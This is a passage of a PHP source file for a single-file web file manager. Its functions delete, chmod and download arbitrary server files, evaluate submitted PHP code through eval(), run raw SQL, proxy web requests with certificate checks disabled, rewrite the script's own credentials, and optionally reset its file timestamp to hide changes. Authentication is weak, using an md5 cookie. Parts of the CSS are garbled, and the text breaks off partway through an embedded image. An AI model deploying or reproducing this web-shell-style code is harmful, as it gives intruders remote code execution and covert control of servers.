			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #CD5C5C 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: ## #800080A ; text-decoration: underline; }
a.th:link { color: ##6495ED; text-decoration: none; }
a.th:active { color: #CD5C5C; text-decoration: none; }
a.th:visited { color: #E9967A; text-decoration: none; }
a.th:hover {  color: ## #800080 ; text-decoration: underline; }

table.bg {
	background-color: #C0C0C0
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	# #CD5C5C ;
	color:				#CD5C5C;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	##CD5C5C;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#FFC0CB;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	# #808000 ;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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